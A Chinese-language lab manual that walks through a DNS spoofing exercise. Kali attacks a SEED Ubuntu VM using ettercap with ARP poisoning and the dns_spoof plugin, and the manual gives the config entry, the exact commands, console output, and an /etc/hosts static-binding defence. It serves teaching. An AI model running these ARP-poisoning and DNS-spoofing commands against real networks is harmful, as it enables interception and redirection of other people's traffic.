【目的】
DNS(DomainName System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用记住IP地址。DNS协议运行在UDP协议之上,使用端口号53,DNS并不包含任何认证机制,因此第三方可以对DNS数据包进行伪造。本试验将进行DNS Spoofing攻击实验,实现
- 理解DNS运行机制;
- 了解DNS Spoofing攻击原理和防御办法。
【环境】
根据提供的实验环境,kali节点作为攻击者,Seed Ubuntu节点作为受害方,通过在Kali节点上允许ettercap软件,对Seed Ubuntu进行DNS Spoofing攻击。
【工具】
实验中的虚拟机
【原理】
在两个通信节点之间,攻击者利用DNS Spoofing攻击工具,通过向受害者返回伪造的DNS数据包,欺骗受害者访问到第三方网站。
【步骤】
注:这里的ip是测试环境的ip,自己做实验时需要替换成实验环境中的ip
1.编辑ettercap的dns配置文件
Kali系统中,Ettercap的配置文件默认位置在/etc/ettercap/etter.dns
。用文本编辑其打开此文件,并添加
*.com A 192.168.200.10
即设置所有以.com后后缀的域名解析时,均解析到Kali节点自己的IP地址192.168.200.10。
2.开启kali的nginx服务
进入/var/www/html
目录,将已经存在的 index.html
做一下备份mv index.html index.html.bak
新建另外一个 index.html
文件并写入以下内容vim index.html #新建并编辑
内容如下<p>Hello,you hava been hacked!</p>
启动服务
service nginx start
3.启动ettercap
开启kali端口转发功能
echo 1 > /proc/sys/net/ipv4/ip_forward
在Kali系统中,执行
ettercap –T –i eth0 –P dns_spoof -M arp:remote /seed_ip// /gateway//
命令选项中,-T表示使用命令行文本方式,-i eth0表示监听的网络接口,-P表示使用dns_spoof的攻击插件,-M arp表示使用arp欺骗成为中间人,从而进行dns_spoof攻击。执行结果如下图所示:
root@kali:~# ettercap -T -i eth0 -P dns_spoof -M arp:remote /seed_ip// /gateway// ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 00:0C:29:DA:EE:F6 192.168.200.10/255.255.255.0 fe80::20c:29ff:feda:eef6/64 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20388 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>| 100.00 % 7 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : ANY (all the hosts in the list) GROUP 2 : ANY (all the hosts in the list) Starting Unified sniffing...
4.受害节点访问网址
SeedUbuntu为本实验中的攻击受害节点,在Seed Ubuntu系统中,运行arp –a命令,显示本地arp缓存,如下图所示
root@ubuntu:/home/seed# arp -a ? (192.168.200.1) at 00:0c:29:da:ee:f6 [ether] on eth0 ? (192.168.200.125) at 00:0c:29:da:ee:f6 [ether] on eth0 ? (192.168.200.2) at 00:0c:29:da:ee:f6 [ether] on eth0 kali.local (192.168.200.10) at 00:0c:29:da:ee:f6 [ether] on eth0
可以看出,Kali节点已经成功成为了Seed Ubuntu和VMware虚拟机交换机之间的中间人,可以截取到Seed Ubuntu与互联网间的任何数据包。
此时,在Seed Ubuntu的命令行中执行nslookup命令,查询任意.com网址,如www.baidu.com或www.sina.com,其结果如下:
root@ubuntu:/home/seed# nslookup www.baidu.com Server: 8.8.8.8 Address: 8.8.8.8#53 Name: www.baidu.com Address: 192.168.200.10 [01/21/2016 05:20] root@ubuntu:/home/seed# nslookup www.sina.com Server: 8.8.8.8 Address: 8.8.8.8#53 Name: www.sina.com Address: 192.168.200.10
同时,用浏览器访问www.baidu.com/index.htm网址,结果如下图所示:
在本实验手册提供的虚拟机环境中,Kali节点默认在80端口运行Web服务,因此当客户访问www.baidu.com时被DNS spoof解析到了192.168.200.10/index.htm,所以Seed Ubuntu中浏览器显示的是Kali系统Web服务的页面内容。
5.DNS/IP静态绑定防御
DNSSpoofing攻击成功的原因是因为Seed Ubuntu接收到了错误的映射关系,因此,若在Seed Ubuntu中进行DNS和IP的静态绑定,SeedUbuntu下的浏览器将直接访问静态绑定IP,从而利用避免了DNSSpoofing。静态绑定方法简单,易于实验验证,但因需人工绑定,实际网络环境中应用不广。
SeedUbuntu系统下的默认映射文件位置为/etc/hosts,用文本编辑器编辑此文件,加入欲绑定的映射关系,如:
192.168.200.124 www.baidu.com
重启网络连接。此时,再利用浏览器访问www.baidu.com/index.htm时,域名将直接解析到Seed Ubuntu自身的IP地址192.168.200.124,即访问了Seed Ubuntu自身的Web服务,如下图所示:
在/etc/hosts文件中进行DNS/IP绑定时,www.baidu.com也可以绑定到百度真实IP地址,本实验中将其绑定到Seed Ubuntu自身IP,是为了说明若/etc/hosts被恶意程序修改,这种静态绑定方式就成为一种最简单的DNS
Spoofing方法。